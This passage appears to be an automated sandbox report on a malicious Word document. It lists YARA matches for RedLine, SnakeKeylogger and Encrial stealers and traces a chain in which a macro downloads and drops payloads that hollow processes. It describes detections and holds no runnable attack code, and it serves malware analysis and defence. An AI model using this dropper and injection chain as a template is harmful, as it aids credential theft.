              Source: 0000000A.00000001.1859265751.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 0000000E.00000002.3432289694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 00000010.00000002.3432404801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: 0000000A.00000002.3432275183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 0000000E.00000001.1974371913.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 00000010.00000001.2054825787.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
              Source: 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables with potential process hoocking Author: ditekSHen
              Source: Process Memory Space: npratlsN.pif PID: 4544, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: Process Memory Space: npratlsN.pif PID: 3592, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: Process Memory Space: npratlsN.pif PID: 6036, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Document contains an embedded VBA with functions possibly related to ADO stream file operations
              Source: PI ITS15235.docStream path 'Macros/VBA/ThisDocument' : found possibly 'ADODB.Stream' functions open, savetofile, write
              Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function AutoOpen, found possibly 'ADODB.Stream' functions open, savetofile, writeName: AutoOpen
              Document contains an embedded VBA with functions possibly related to HTTP operations
              Source: PI ITS15235.docStream path 'Macros/VBA/ThisDocument' : found possibly 'XMLHttpRequest' functions response, responsebody, open, send
              Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function AutoOpen, found possibly 'XMLHttpRequest' functions response, responsebody, open, sendName: AutoOpen
              Office process drops PE file
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile created: C:\Windows\SysWOW64\brightness.exeJump to dropped file
              Office process queries suspicious COM object (likely to drop second stage)
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXECOM Object queried: Server XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{AFBA6B42-5692-48EA-8141-DC517DCF0EF1}Jump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXECOM Object queried: ADODB.Stream HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}\InprocServer32Jump to behavior
              PE file contains section with special chars
              Source: NETUTILS.dll.4.drStatic PE information: section name: .
              Source: NETUTILS.dll.4.drStatic PE information: section name: .
              Source: NETUTILS.dll.4.drStatic PE information: section name: .
              Source: NETUTILS.dll.4.drStatic PE information: section name: .
              Source: NETUTILS.dll.4.drStatic PE information: section name: .
              Source: NETUTILS.dll.4.drStatic PE information: section name: .
              Source: NETUTILS.dll.4.drStatic PE information: section name: .
              Source: NETUTILS.dll.4.drStatic PE information: section name: .
              Source: NETUTILS.dll.4.drStatic PE information: section name: .
              Source: NETUTILS.dll.4.drStatic PE information: section name: .
              Source: NETUTILS.dll.4.drStatic PE information: section name: .
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_029082CC NtReadVirtualMemory,4_2_029082CC
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_0290E064 RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,4_2_0290E064
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_0290853C NtUnmapViewOfSection,4_2_0290853C
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_02907A2C NtAllocateVirtualMemory,4_2_02907A2C
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_0290DEF8 Rt,RtlDosPathNameToNtPathName_U,NtDeleteFile,4_2_0290DEF8
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_0290DF80 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,4_2_0290DF80
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_02908C28 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,4_2_02908C28
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_02907D78 NtWriteVirtualMemory,4_2_02907D78
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_02907A2A NtAllocateVirtualMemory,4_2_02907A2A
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_0290DEA4 Rt,RtlDosPathNameToNtPathName_U,NtDeleteFile,4_2_0290DEA4
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_02908C26 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,4_2_02908C26
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: 13_2_029182CC NtReadVirtualMemory,13_2_029182CC
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: 13_2_0291E064 RtlDosPathNameToNtPathName_U,NtOpenFile,NtReadFile,NtClose,13_2_0291E064
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: 13_2_0291853C NtUnmapViewOfSection,13_2_0291853C
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: 13_2_02917A2C NtAllocateVirtualMemory,13_2_02917A2C
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: 13_2_02918C28 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,13_2_02918C28
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: 13_2_02917D78 NtWriteVirtualMemory,13_2_02917D78
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: 13_2_029185C8 NtUnmapViewOfSection,13_2_029185C8
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: 13_2_02917A2A NtAllocateVirtualMemory,13_2_02917A2A
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: 13_2_0291DEA4 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,13_2_0291DEA4
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: 13_2_0291DEF8 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,13_2_0291DEF8
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: 13_2_0291DF80 RtlDosPathNameToNtPathName_U,NtWriteFile,NtClose,13_2_0291DF80
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: 13_2_02918C26 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,13_2_02918C26
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: 15_2_028882CC NtReadVirtualMemory,15_2_028882CC
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: 15_2_0288E064 RtlDosPathNameToNtPathName_U,NtOpenFile,NtReadFile,NtClose,15_2_0288E064
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: 15_2_0288853C NtUnmapViewOfSection,15_2_0288853C
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: 15_2_02887A2C NtAllocateVirtualMemory,15_2_02887A2C
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: 15_2_02888C28 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,15_2_02888C28
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: 15_2_02887D78 NtWriteVirtualMemory,15_2_02887D78
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: 15_2_028885C8 NtUnmapViewOfSection,15_2_028885C8
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: 15_2_02887A2A NtAllocateVirtualMemory,15_2_02887A2A
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: 15_2_0288DEA4 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,15_2_0288DEA4
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: 15_2_0288DEF8 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,15_2_0288DEF8
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: 15_2_0288DF80 RtlDosPathNameToNtPathName_U,NtWriteFile,NtClose,15_2_0288DF80
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: 15_2_02888C26 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,15_2_02888C26
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_02908654 CreateProcessAsUserW,4_2_02908654
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile created: C:\Windows\SysWOW64\brightness.exeJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeFile created: C:\Windows \SysWOW64\svchost.pifJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeFile created: C:\Windows \SysWOW64\NETUTILS.dllJump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\WindowsJump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Windows \SysWOW64Jump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeFile deleted: C:\Windows \SysWOW64\svchost.pifJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_028F20C44_2_028F20C4
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_00408C6010_2_00408C60
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_0040DC1110_2_0040DC11
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_00407C3F10_2_00407C3F
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_00418CCC10_2_00418CCC
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_00406CA010_2_00406CA0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_004028B010_2_004028B0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_0041A4BE10_2_0041A4BE
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_00408C6010_2_00408C60
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_0041824410_2_00418244
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_0040165010_2_00401650
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_00402F2010_2_00402F20
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_004193C410_2_004193C4
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_0041878810_2_00418788
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_00402F8910_2_00402F89
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_00402B9010_2_00402B90
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_004073A010_2_004073A0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_29A5156010_2_29A51560
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_29A5154F10_2_29A5154F
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_29A512C010_2_29A512C0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2E5C8F1810_2_2E5C8F18
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2E5CAF0F10_2_2E5CAF0F
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2E5C5FA810_2_2E5C5FA8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2E5CBD5F10_2_2E5CBD5F
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2E5CAA5810_2_2E5CAA58
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2E5CBA8110_2_2E5CBA81
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2E5CB7A310_2_2E5CB7A3
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2E5CD49010_2_2E5CD490
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2E5CB4BF10_2_2E5CB4BF
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2E5CF0C910_2_2E5CF0C9
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2E5CB1E110_2_2E5CB1E1
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2E5C41E110_2_2E5C41E1
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2E5CAC2010_2_2E5CAC20
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2E5CD48110_2_2E5CD481
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2E5CE5D810_2_2E5CE5D8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2E5CE5E810_2_2E5CE5E8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2E5C306810_2_2E5C3068
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68073810_2_2F680738
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F680E3810_2_2F680E38
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68855010_2_2F688550
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68350810_2_2F683508
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68B58010_2_2F68B580
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68004010_2_2F680040
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68780810_2_2F687808
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68072A10_2_2F68072A
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68CB2A10_2_2F68CB2A
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68CB3810_2_2F68CB38
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68FB0010_2_2F68FB00
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68D3E810_2_2F68D3E8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68D3DA10_2_2F68D3DA
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68CF8010_2_2F68CF80
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68CF9010_2_2F68CF90
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68C27A10_2_2F68C27A
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68F24010_2_2F68F240
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68F25010_2_2F68F250
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F687A2810_2_2F687A28
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F680E2910_2_2F680E29
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68BE2010_2_2F68BE20
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68BE3010_2_2F68BE30
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68C6E010_2_2F68C6E0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68FAF910_2_2F68FAF9
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68C6D010_2_2F68C6D0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68F6A810_2_2F68F6A8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68C28810_2_2F68C288
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68F69A10_2_2F68F69A
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68B57210_2_2F68B572
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68E54810_2_2F68E548
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68854010_2_2F688540
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68E54110_2_2F68E541
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68EDE910_2_2F68EDE9
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68EDF810_2_2F68EDF8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68B9C810_2_2F68B9C8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68B9D810_2_2F68B9D8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68E9A010_2_2F68E9A0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68E99110_2_2F68E991
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68707110_2_2F687071
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68D84010_2_2F68D840
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68D83010_2_2F68D830
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68000610_2_2F680006
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68E0E110_2_2F68E0E1
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F6834F810_2_2F6834F8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68E0F010_2_2F68E0F0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68DC8810_2_2F68DC88
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68708010_2_2F687080
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F68DC9810_2_2F68DC98
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F6965C010_2_2F6965C0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69DE0010_2_2F69DE00
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F696C1810_2_2F696C18
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F697AF010_2_2F697AF0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F691EA810_2_2F691EA8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69616810_2_2F696168
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69F96010_2_2F69F960
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69D96010_2_2F69D960
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F693D6210_2_2F693D62
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F693D7010_2_2F693D70
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69D97010_2_2F69D970
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69B97010_2_2F69B970
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F690D4810_2_2F690D48
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69A74010_2_2F69A740
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69615810_2_2F696158
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69F95610_2_2F69F956
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69E72010_2_2F69E720
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69C72010_2_2F69C720
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F690D3810_2_2F690D38
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69C73010_2_2F69C730
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69A73010_2_2F69A730
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69390810_2_2F693908
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69230010_2_2F692300
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F695D0010_2_2F695D00
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69391810_2_2F693918
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F695D1010_2_2F695D10
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69E71010_2_2F69E710
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F6915E810_2_2F6915E8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F6915F810_2_2F6915F8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69DDF110_2_2F69DDF1
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F6941C810_2_2F6941C8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69CBC010_2_2F69CBC0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F6941C210_2_2F6941C2
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69ABD010_2_2F69ABD0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F6911A010_2_2F6911A0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69EBA010_2_2F69EBA0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69ABBF10_2_2F69ABBF
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69EBB010_2_2F69EBB0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F6965B010_2_2F6965B0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69CBB210_2_2F69CBB2
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69B98010_2_2F69B980
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69119010_2_2F691190
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69306810_2_2F693068
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F694A6810_2_2F694A68
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69B06010_2_2F69B060
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69546010_2_2F695460
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F694A7810_2_2F694A78
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69927810_2_2F699278
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69E27F10_2_2F69E27F
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F691A4010_2_2F691A40
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69F04010_2_2F69F040
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69004010_2_2F690040
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69D04010_2_2F69D040
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69545810_2_2F695458
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69305A10_2_2F69305A
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F691A5010_2_2F691A50
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69D05010_2_2F69D050
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69B05010_2_2F69B050
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69F02F10_2_2F69F02F
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69462010_2_2F694620
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69802010_2_2F698020
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F696C0810_2_2F696C08
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69BE0110_2_2F69BE01
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69000610_2_2F690006
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69BE1010_2_2F69BE10
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69461210_2_2F694612
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69D4E010_2_2F69D4E0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F6908E010_2_2F6908E0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F697AE010_2_2F697AE0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F6908F010_2_2F6908F0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F69B4F010_2_2F69B4F0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F6922F010_2_2F6922F0
